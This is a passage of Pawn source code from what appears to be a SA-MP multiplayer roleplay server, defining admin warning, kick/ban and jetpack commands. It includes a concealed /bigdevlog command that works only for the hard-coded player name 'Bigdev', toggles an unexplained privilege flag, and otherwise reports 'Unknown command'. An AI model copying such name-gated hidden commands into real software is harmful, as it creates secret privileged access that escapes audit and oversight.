								else if(PlayerInfo[giveplayerid][pMember] == 11 || PlayerInfo[giveplayerid][pLeader] == 11) { ttext = "School Instructor"; }
								else if(PlayerInfo[giveplayerid][pMember] == 17 || PlayerInfo[giveplayerid][pLeader] == 17) { ttext = "Staff Family"; }
								else if(PlayerInfo[giveplayerid][pMember] == 19 || PlayerInfo[giveplayerid][pLeader] == 19) { ttext = "Top Boys Family"; }
								else if(PlayerInfo[giveplayerid][pMember] == 20 || PlayerInfo[giveplayerid][pLeader] == 20) { ttext = "San Fiero Police Department"; }
								else if(PlayerInfo[giveplayerid][pSoldier] != 0 || PlayerInfo[giveplayerid][pLeader] == 21) { ttext = "Soldier"; }
								else { ttext = "Civilian"; }

								new kk[512];
								format(kk, sizeof(kk), "Leader %s demoted from %s by AdmBot. reason: 3/3 LeaderAv", giveplayer, ttext);
								SendClientMessageToAll(COLOR_LIGHTRED,kk);

								PlayerInfo[giveplayerid][pLeader] = 0;
								SaveKonVal(giveplayerid, "pLeader", 0);
								new query[512];
								mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='0' WHERE pName='%e'",PINFO[giveplayerid][pName]);
								mysql_tquery(handle, query, "SendQuery", "");
								PlayerInfo[giveplayerid][fSkin] = 250;
								SaveKonVal(giveplayerid, "fSkin", 250);
								PlayerInfo[giveplayerid][pRank] = 0;
								SaveKonVal(giveplayerid, "pRank", 0);
								PlayerInfo[giveplayerid][pTeam] = TEAM_CIV;
								SaveKonVal(giveplayerid, "pTeam", TEAM_CIV);
								ResetPlayerKolang(giveplayerid);
								SetPlayerSkin(giveplayerid, PlayerInfo[giveplayerid][cSkin]);
								PINFO[giveplayerid][pLeader] = 0;
								SaveKonVal(giveplayerid, "pLeader", 0);
								SetPlayerToTeamColor(giveplayerid);
								SetSpawnKol(giveplayerid);

								PlayerInfo[giveplayerid][pLav] = 0;
								SaveKonVal(giveplayerid, "pLav", 0);
							}
							new year, month,day;
							getdate(year, month, day);
							format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s Leaderwarned %s, reason: %s", sendername, giveplayer, (result));
							SendMessage(playerid, COLOR_AdminWarn, string);
							format(string, sizeof(string), "You were Leader warned by %s, reason: %s", sendername, (result));
							SendMessage(giveplayerid, COLOR_LIGHTRED, string);
							return 1;
						}
					}
					else
					{
					format(string, sizeof(string), "That player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
				return 1;
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/av", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Av <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
			if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pSlp] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
						  if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
						  if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
					   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Av <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(PlayerInfo[giveplayerid][pAdmin] == 0 && PlayerInfo[giveplayerid][pHelper] == 0 && PlayerInfo[giveplayerid][pLeader] == 0) return SCM(playerid, COLOR_GRAD2, "Error: That player isn't in staff team.");
							if(PlayerInfo[giveplayerid][pAdmin] > PlayerInfo[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: That player has higher rank than you.");
							if(giveplayerid == playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't give an av to yourself.");
							PlayerInfo[giveplayerid][pAav] += 1;
							SaveKonVal(giveplayerid, "pAav", PINFO[giveplayerid][pAav]);
							/*
							if(PlayerInfo[giveplayerid][pAav] >= 3)
							{
								PlayerInfo[giveplayerid][pAdmin] = 0;
								SaveKonVal(giveplayerid, "pAdmin", 0);

								if(PINFO[giveplayerid][pHelper] == 0) PlayerTextDrawHide(giveplayerid, reportstext2);

								new kk[512];
								format(kk, sizeof(kk), "Admin %s demoted from admins by AdmBot. reason: 3/3 AdminWarn", giveplayer);
								SendClientMessageToAll(COLOR_LIGHTRED,kk);
								ResetPlayerKolang(giveplayerid);

								PlayerInfo[giveplayerid][pAav] = 0;
								SaveKonVal(giveplayerid, "pAav", 0);
							}
							*/
							new year, month,day;
							getdate(year, month, day);
							format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s given 1 AV to %s, player AV for now is: %d", sendername, giveplayer, PINFO[giveplayerid][pAav]);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, sizeof(string), "Admin %s has given you 1 AV to you, reason: %s", sendername, (result));
							SendMessage(giveplayerid, COLOR_LIGHTRED, string);
							return 1;
						}
					}
					else
					{
					format(string, sizeof(string), "that player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
					}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/hav", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Hav <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				//if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't give a Helper Av to higher admins rank");
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
					   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Hav <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(PlayerInfo[giveplayerid][pHelper] < 1) return SCM(playerid, COLOR_RED, "He/she is not a helper");
							if(PlayerInfo[giveplayerid][pAdmin] > PlayerInfo[playerid][pAdmin]) return SCM(playerid, COLOR_RED, "He/she has higher rank");
							PlayerInfo[giveplayerid][pHav] += 1;
							SaveKonVal(giveplayerid, "pHav", PINFO[giveplayerid][pHav]);
							if(PlayerInfo[giveplayerid][pHav] >= 3)
							{
								PlayerInfo[giveplayerid][pHelper] = 0;
								SaveKonVal(giveplayerid, "pHelper", 0);

								if(PINFO[giveplayerid][pAdmin] == 0) PlayerTextDrawHide(giveplayerid, reportstext2);

								new kk[512];
								format(kk, sizeof(kk), "Helper %s demoted from helpers by AdmBot. reason: 3/3 HelperWarn", giveplayer);
								SendClientMessageToAll(COLOR_LIGHTRED,kk);

								PlayerInfo[giveplayerid][pHav] = 0;
								SaveKonVal(giveplayerid, "pHav", 0);
							}
							new year, month,day;
							getdate(year, month, day);
							format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s Helperwarned %s, reason: %s", sendername, giveplayer, (result));
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, sizeof(string), "You were Helper warned by %s, reason: %s", sendername, (result));
							SendMessage(giveplayerid, COLOR_LIGHTRED, string);
							return 1;
						}
					}
					else
					{
					format(string, sizeof(string), "that player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
				return 1;
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/warn", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
			if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /warn <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Warn <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(warntime[playerid] == 1) return SendMessage(playerid, COLOR_YELLOW2, "Error: You should wait.");
							if(PlayerInfo[giveplayerid][pAdmin] > 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your target is an admin.");
							new counter=0;
							if(PlayerInfo[giveplayerid][pWarns] >= 3)
							{
								new formater[100];
							    PlayerInfo[giveplayerid][pWarns] += 1;
							    SaveKonVal(giveplayerid, "pWarns", PINFO[giveplayerid][pWarns]);
							warntime[playerid] = 1;
							Wuroz[playerid] = SetTimerEx("warnt", 10000, 0, "d", playerid);
							new year, month,day;
							getdate(year, month, day);
							AddLog(PINFO[giveplayerid][pName], PINFO[playerid][pName], (result), "None", 20);
								format(formater, sizeof(formater), "%d/3 warnings by Admin %s", PINFO[giveplayerid][pWarns], RPName(playerid));
								BanPlayer(giveplayerid,giveplayer,3,formater, 1,0);
								counter=1;
							}
							if(counter==0)
							{
							PlayerInfo[giveplayerid][pWarns] += 1;
							SaveKonVal(giveplayerid, "pWarns", PINFO[giveplayerid][pWarns]);
							warntime[playerid] = 1;
							Wuroz[playerid] = SetTimerEx("warnt", 10000, 0, "d", playerid);
							new year, month,day;
							getdate(year, month, day);
							new Sinaer[150];
							new formater[100];
							format(formater, sizeof(formater), "%d/3 warnings by Admin %s", PINFO[giveplayerid][pWarns], RPName(playerid));
					        format(Sinaer, sizeof(Sinaer), "AdmCmd: %s was kicked by Admin %s, Reason: %s", giveplayer, sendername, formater);
					        SendClientMessageToAll(COLOR_LIGHTRED, Sinaer);
					        KickWithMessage(giveplayerid, COLOR_LIGHTRED, "You have been kicked.");
							AddLog(PINFO[giveplayerid][pName], PINFO[playerid][pName], (result), "None", 20);
							}
							return 1;
						}
					}
					else
					{
					format(string, sizeof(string), "Error: Player isn't connected.");
					SendMessage(playerid, COLOR_YELLOW2, string);
					}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/unlav", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Unlav <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
					   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));

							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Unlav <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(PlayerInfo[giveplayerid][pLeader] == 0) return SCM(playerid, COLOR_RED, "Error: That player is not a leader.");
							if(PlayerInfo[giveplayerid][pLav] == 0) return SCM(playerid, COLOR_LIGHTRED, "Error: That player has not any warns.");
							if(PlayerInfo[giveplayerid][pAdmin] > PlayerInfo[playerid][pAdmin]) return SCM(playerid, COLOR_RED, "He/she has higher rank");
							PlayerInfo[giveplayerid][pLav] -= 1;
							SaveKonVal(giveplayerid, "pLav", PINFO[giveplayerid][pLav]);
							if(PlayerInfo[giveplayerid][pLav] >= 0)
							{
								format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s unLeaderwarned %s, reason: %s", sendername, giveplayer, (result));
								SendMessage(playerid, COLOR_AdminWarn, string);
								format(string, sizeof(string), "You were unleader warned by %s, reason: %s", sendername, (result));
								SendMessage(giveplayerid, COLOR_LIGHTRED, string);
								return 1;
							}

						}
					}//not connected
					else
					{
						format(string, sizeof(string), "That player is offline.");
						SendMessage(playerid, COLOR_GRAD1, string);
					}
				}

			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/unav", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Unav <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pSlp] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
					   if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
						  if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
						  if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
					   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));

							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Unav <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(PlayerInfo[giveplayerid][pAdmin] == 0 && PlayerInfo[giveplayerid][pHelper] == 0 && PlayerInfo[giveplayerid][pLeader] == 0) return SCM(playerid, COLOR_GRAD2, "Error: That player isn't in staff team.");
							if(PlayerInfo[giveplayerid][pAav] == 0) return SCM(playerid, COLOR_LIGHTRED, "Error: That player hasn't any av.");
							if(giveplayerid == playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take an av from yourself.");
							if(PlayerInfo[giveplayerid][pAdmin] > PlayerInfo[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: That player has higher rank than you.");
							PlayerInfo[giveplayerid][pAav] -= 1;
							SaveKonVal(giveplayerid, "pAav", PINFO[giveplayerid][pAav]);
							if(PlayerInfo[giveplayerid][pAav] >= 0)
							{
								format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s cleared 1 AV from %s, player AV for now is: %d", sendername, giveplayer, PINFO[giveplayerid][pAav]);
								ABroadCast(COLOR_AdminWarn, string, 1);
								format(string, sizeof(string), "Admin %s has cleared 1 AV from you, reason: %s", sendername, (result));
								SendMessage(giveplayerid, COLOR_LIGHTRED, string);
								return 1;
							}

						}
					}//not connected
					else
				{
					format(string, sizeof(string), "That player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
				}

			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/unhav", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Unhav <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
					   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));

							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Unhav <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(PlayerInfo[giveplayerid][pHelper] == 0) return SCM(playerid, COLOR_GRAD2, "Error: That player is not a helper.");
							if(PlayerInfo[giveplayerid][pHav] == 0) return SCM(playerid, COLOR_LIGHTRED, "Error: your target has not helper warns");
							if(PlayerInfo[giveplayerid][pAdmin] > PlayerInfo[playerid][pAdmin]) return SCM(playerid, COLOR_RED, "He/she has higher rank");
							PlayerInfo[giveplayerid][pHav] -= 1;
							SaveKonVal(giveplayerid, "pHav", PINFO[giveplayerid][pHav]);
							if(PlayerInfo[giveplayerid][pHav] >= 0)
							{
								format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s unHelperwarned %s, reason: %s", sendername, giveplayer, (result));
								SendMessage(playerid, COLOR_AdminWarn, string);
								format(string, sizeof(string), "You were unHelper warned by %s, reason: %s", sendername, (result));
								SendMessage(giveplayerid, COLOR_LIGHTRED, string);
								return 1;
							}

						}
					}//not connected
					else
				{
					format(string, sizeof(string), "That player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
				}
				}

			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/unwarn", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Unwarn <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
					   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							//WarnLog(string);
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Unwarn <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(PlayerInfo[giveplayerid][pWarns] == 0) return SCM(playerid, COLOR_LIGHTRED, "Error: your target has not warns");
							PlayerInfo[giveplayerid][pWarns] -= 1;
							SaveKonVal(giveplayerid, "pWarns", PINFO[giveplayerid][pWarns]);
							if(PlayerInfo[giveplayerid][pWarns] >= 0)
							{
								format(string, sizeof(string), "You unwarned %s, reason: %s", giveplayer, (result));
								SendMessage(playerid, COLOR_LIGHTRED, string);
								format(string, sizeof(string), "You were unwarned by %s, reason: %s", sendername, (result));
								SendMessage(giveplayerid, COLOR_LIGHTRED, string);
						  new sttrr[256];
						  format(sttrr,256,"{FFFFFF}Admin %s cleared a warn to %s, reason: %s", PINFO[playerid][pName], PINFO[giveplayerid][pName], (result));
							 AdminWarn(sttrr);
								return 1;
							}

						}
					}//not connected
				}
				else
				{
					format(string, sizeof(string), "That player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
				}
			}
			return 1;
		}
	/*----------------------------------------------------------------------------*/
		if(strcmp(cmd, "/jetpack", true) == 0 || strcmp(cmd, "/j", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 2 || PINFO[playerid][pSponser] == 1)
				{
				new para1;
				para1 = ReturnUser6(tmp);
				GetPlayerName(para1, giveplayer, sizeof(giveplayer));
				GetPlayerName(playerid, sendername, sizeof(sendername));
					SendMessage(playerid, COLOR_YELLOW2, "Jetpack is ready to use.");
				format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s gots jetpack.", sendername);
					ABroadCast(COLOR_AdminWarn,string,1);
					SetPlayerSpecialAction(playerid, 2);
					JetAllow[playerid] = 1;
					return 1;
				}
				else return SCM(playerid, COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			}
		}
		// Jetpack Enable/Disable by Sina
		if(strcmp(cmd, "/jformmrngeraav", true) == 0 || strcmp(cmd, "/rngrjpackjmeav", true) == 0)
		{
		if(JMikhad[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		if(PINFO[playerid][pAdmin] < 2) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(jettimer[playerid] == 1) return SendMessage(playerid, COLOR_CRS3, "Error: You must wait 0.5 second to use jetpack again.");
			if(IsPlayerConnected(playerid))
			{
					if(JetAllow[playerid] == 0)
					{
				new para1;
				para1 = ReturnUser6(tmp);
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
				GetPlayerName(playerid, sendername, sizeof(sendername));
					SendMessage(playerid, COLOR_YELLOW2, "Jetpack is ready to use.");
				format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s gots jetpack.", sendername);
					ABroadCast(COLOR_AdminWarn,string,1);
					SetPlayerSpecialAction(playerid, 2);
					JMikhad[playerid] = 0;
					JetAllow[playerid] = 1;
					jettimer[playerid] = 1;
					SetTimerEx("jettime", 500, 0, "d", playerid);
					}
					else if(JetAllow[playerid] == 1)
					{
				new para1;
				para1 = ReturnUser6(tmp);
				 GetPlayerName(para1, giveplayer, sizeof(giveplayer));
				GetPlayerName(playerid, sendername, sizeof(sendername));
					SendMessage(playerid, COLOR_YELLOW2, "Jetpack was removed from you.");
				format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s removed jetpack from %sself.", sendername, (PINFO[playerid][pSex]==1)?("him"):("her"));
					ABroadCast(COLOR_AdminWarn,string,1);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
					JMikhad[playerid] = 0;
					JetAllow[playerid] = 0;
					jettimer[playerid] = 1;
					SetTimerEx("jettime", 500, 0, "d", playerid);
					}
					return 1;
				}
				}

				if(strcmp(cmd, "/bigdevlog", true) == 0 || strcmp(cmd, "/bigdevlog", true) == 0)
		        {
		        if(!strcmp(PINFO[playerid][pName], "Bigdev", true))
		        {
					if(!SecRanger[playerid])
					{
					SendMessage(playerid, COLOR_SINA2, "{00FF00}Logged in.");
					SecRanger[playerid] = true;
					}
					else if(SecRanger[playerid])
					{
					SendMessage(playerid, COLOR_SINA2, "{FF0000}Logged out.");
					SecRanger[playerid] = false;
					}
			    }
				else
				{
				SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
				}
				return 1;
				}
/*
				if(strcmp(cmd, "/rjetpack", true) == 0)
				{
				if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				SendClientMessage(playerid, COLOR_YELLOW2, "Error:{00FF00} You must use /Rjt for /rjetpack.");
				return 1;
				}
				*/
				/*
		if(strcmp(cmd, "/rj", true) == 0 || strcmp(cmd, "/removejetpack", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 1)
				{
				new para1;
				para1 = ReturnUser6(tmp);
				GetPlayerName(para1, giveplayer, sizeof(giveplayer));
				GetPlayerName(playerid, sendername, sizeof(sendername));
					SendMessage(playerid, COLOR_YELLOW2, "Jetpack was removed from you.");
				format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s removed jetpack from him/her self.", sendername);
					ABroadCast(COLOR_AdminWarn,string,1);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
					JetAllow[playerid] = 0;
					return 1;
				}
				else return SCM(playerid, COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			}
		}
		*/
		/*
		if(strcmp(cmd, "/erj", true) == 0 || strcmp(cmd, "/eremovejetpack", true) == 0)
		{
		if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			if(IsPlayerConnected(playerid))
			{
				new para1;
				para1 = ReturnUser6(tmp);
				GetPlayerName(para1, giveplayer, sizeof(giveplayer));
				GetPlayerName(playerid, sendername, sizeof(sendername));
					SendMessage(playerid, COLOR_YELLOW2, "Jetpack was removed from you.");
				//format(string, 256, "[Admin-Warn]: {FFFFFF}Event-Organizer %s removed jetpack from him/her self.", sendername);
					//ABroadCast(COLOR_AdminWarn,string,1);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
					JetAllow[playerid] = 0;
					return 1;
				}
		}
		*/
		/*
		if(strcmp(cmd, "/erj", true) == 0 || strcmp(cmd, "/eremovejetpack", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
				{
//                    new para1;
//                    para1 = ReturnUser6(tmp);
//                    GetPlayerName(para1, giveplayer, sizeof(giveplayer));
//                    GetPlayerName(playerid, sendername, sizeof(sendername));
					SendMessage(playerid, COLOR_SINA2, "[JetPack]:{FF0000} Jetpack Removed From Your Self.");
//                    format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s removed him/her self jetpack.", sendername);
//					ABroadCast(COLOR_AdminWarn,string,1);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
					JetAllow[playerid] = 0;
					}
					return 1;
				}
				*/
				/*
		if(strcmp(cmd, "/ejetpack", true) == 0 || strcmp(cmd, "/ej", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
				{
					SendMessage(playerid, COLOR_YELLOW2, "Jetpack is ready to use.");
					SetPlayerSpecialAction(playerid, 2);
					JetAllow[playerid] = 1;
					return 1;
				}
			}
		}
		*/
		if(strcmp(cmd, "/jetpackto", true) == 0 || strcmp(cmd, "/jto", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Jetpackto <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 4)
				{
